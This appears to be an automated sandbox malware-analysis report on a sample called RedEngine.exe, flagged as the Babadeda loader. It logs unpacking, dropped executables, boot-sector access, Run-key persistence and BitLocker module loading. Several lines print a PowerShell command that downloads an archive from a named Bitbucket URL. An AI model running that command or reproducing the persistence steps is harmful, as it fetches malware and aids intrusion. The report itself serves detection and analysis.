Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3809064972.00007FFB1E3B9000.00000002.00000001.01000000.00000013.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1941486532.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3806753681.00007FFB23AD9000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3806869534.00007FFB0B574000.00000002.00000001.01000000.00000017.sdmp, clppth.exe, 0000002A.00000002.3802742975.00007FFB1DED4000.00000002.00000001.01000000.0000002F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3807780292.00007FFB1BA6D000.00000002.00000001.01000000.00000015.sdmp, clppth.exe, 0000002A.00000002.3805477731.00007FFB23A9D000.00000002.00000001.01000000.0000002D.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe

Unpacked PE file: 13.2.mgne4i3n.t1d1.exe.400000.0.unpack

Yara detected Babadeda

Source: Yara match	File source: 13.0.mgne4i3n.t1d1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.mgne4i3n.t1d1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe, type: DROPPED

.NET source code contains potential unpacker

Source: mgne4i3n.t1d0.exe.3.dr, -.cs

.Net Code: _E05F System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')"

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe

Code function: 13_2_0040A756 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

13_2_0040A756

Source: mgne4i3n.t1d0.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x7a0b7
Source: pyarmor_runtime.pyd.41.dr	Static PE information: real checksum: 0x9e4af should be: 0xa256d
Source: pyarmor_runtime.pyd.14.dr	Static PE information: real checksum: 0x9e4af should be: 0xa256d
Source: RedEngine.exe	Static PE information: real checksum: 0x0 should be: 0x7f50
Source: mgne4i3n.t1d1.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x1d9f9
Source: pyarmor_runtime.pyd.38.dr	Static PE information: real checksum: 0x9e4af should be: 0xa256d

Source: mgne4i3n.t1d1.exe.3.dr	Static PE information: section name: .code
Source: VCRUNTIME140.dll.14.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.14.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.14.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.14.dr	Static PE information: section name: .00cfg
Source: python312.dll.14.dr	Static PE information: section name: PyRuntim
Source: zlib1.dll.14.dr	Static PE information: section name: .xdata
Source: pyarmor_runtime.pyd.14.dr	Static PE information: section name: .xdata
Source: zlib1.dll.38.dr	Static PE information: section name: .xdata
Source: VCRUNTIME140.dll.38.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.38.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.38.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.38.dr	Static PE information: section name: .00cfg
Source: python312.dll.38.dr	Static PE information: section name: PyRuntim
Source: pyarmor_runtime.pyd.38.dr	Static PE information: section name: .xdata
Source: zlib1.dll.41.dr	Static PE information: section name: .xdata
Source: VCRUNTIME140.dll.41.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.41.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.41.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.41.dr	Static PE information: section name: .00cfg
Source: python312.dll.41.dr	Static PE information: section name: PyRuntim
Source: pyarmor_runtime.pyd.41.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB33D2A5 pushad ; iretd	3_2_00007FFAAB33D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB4595F2 push eax; ret	3_2_00007FFAAB45962D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB452A8C pushad ; retf	3_2_00007FFAAB452AA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB4510CD push E8609E0Dh; ret	3_2_00007FFAAB4510F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB45B588 pushad ; retf	3_2_00007FFAAB45B591
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB524C1E push cs; ret	3_2_00007FFAAB524C20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAB527073 pushad ; iretd	3_2_00007FFAAB527075
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Code function: 11_2_04958BE9 push ss; retf	11_2_04958BEF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFAAB45200D pushad ; retf	30_2_00007FFAAB4523E1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFAAB453F0D pushad ; iretd	30_2_00007FFAAB45407D
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_64949AE6 push qword ptr [rax+50FFF8C3h]; ret	31_2_64949AED
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B489B0C push 82000085h; retn 0000h	31_2_00007FFB0B489B11
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C413F22 push rbx; ret	42_2_00007FFB1C413F2A
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB22729B0C push 82000085h; retn 0000h	42_2_00007FFB22729B11

Source: mgne4i3n.t1d0.exe.3.dr

Static PE information: section name: .text entropy: 7.259374278277474

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\runHidden.vbs

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: memset,wsprintfA,CreateFileA,memset,DeviceIoControl,CloseHandle,isxdigit,isxdigit,isxdigit,isprint,memcpy,CloseHandle,strlen,memcpy, \\.\PhysicalDrive%d		31_2_648D3E30
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: _snprintf,_snprintf,CreateFileA,CreateFileA,GlobalAlloc,DeviceIoControl,GlobalFree,_snprintf,CreateFileA,GlobalAlloc,GlobalAlloc,GlobalAlloc,DeviceIoControl,GlobalFree,GlobalFree,GlobalFree,CloseHandle,GlobalFree,GlobalFree,GlobalFree,GlobalFree,CloseHandle, \\.\PhysicalDrive%d		31_2_648D3A80

Found pyInstaller with non standard icon

Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe"

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\tk86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\tk86t.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\tcl86t.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\pyarmor_runtime_000000\pyarmor_runtime.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\tcl86t.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\pyarmor_runtime_000000\pyarmor_runtime.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl86t.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\tk86t.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\pyarmor_runtime_000000\pyarmor_runtime.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60002\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68282\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI15482\select.pyd	Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: memset,wsprintfA,CreateFileA,memset,DeviceIoControl,CloseHandle,isxdigit,isxdigit,isxdigit,isprint,memcpy,CloseHandle,strlen,memcpy, \\.\PhysicalDrive%d		31_2_648D3E30
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: _snprintf,_snprintf,CreateFileA,CreateFileA,GlobalAlloc,DeviceIoControl,GlobalFree,_snprintf,CreateFileA,GlobalAlloc,GlobalAlloc,GlobalAlloc,DeviceIoControl,GlobalFree,GlobalFree,GlobalFree,CloseHandle,GlobalFree,GlobalFree,GlobalFree,GlobalFree,CloseHandle, \\.\PhysicalDrive%d		31_2_648D3A80

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /query /tn "MyBatchScript"

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CLPPTH
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CLPPTH

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB019B41F0 IsIconic,IsZoomed,AdjustWindowRectEx,SendMessageW,SendMessageW,GetSystemMetrics,MoveWindow,GetWindowRect,GetClientRect,MoveWindow,GetWindowRect,MoveWindow,DrawMenuBar,		31_2_00007FFB019B41F0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5C41F0 IsIconic,IsZoomed,AdjustWindowRectEx,SendMessageW,SendMessageW,GetSystemMetrics,MoveWindow,GetWindowRect,GetClientRect,MoveWindow,GetWindowRect,MoveWindow,DrawMenuBar,		42_2_00007FFB1C5C41F0

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 14_2_00007FF741BC6EA0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

14_2_00007FF741BC6EA0

Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RedEngine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
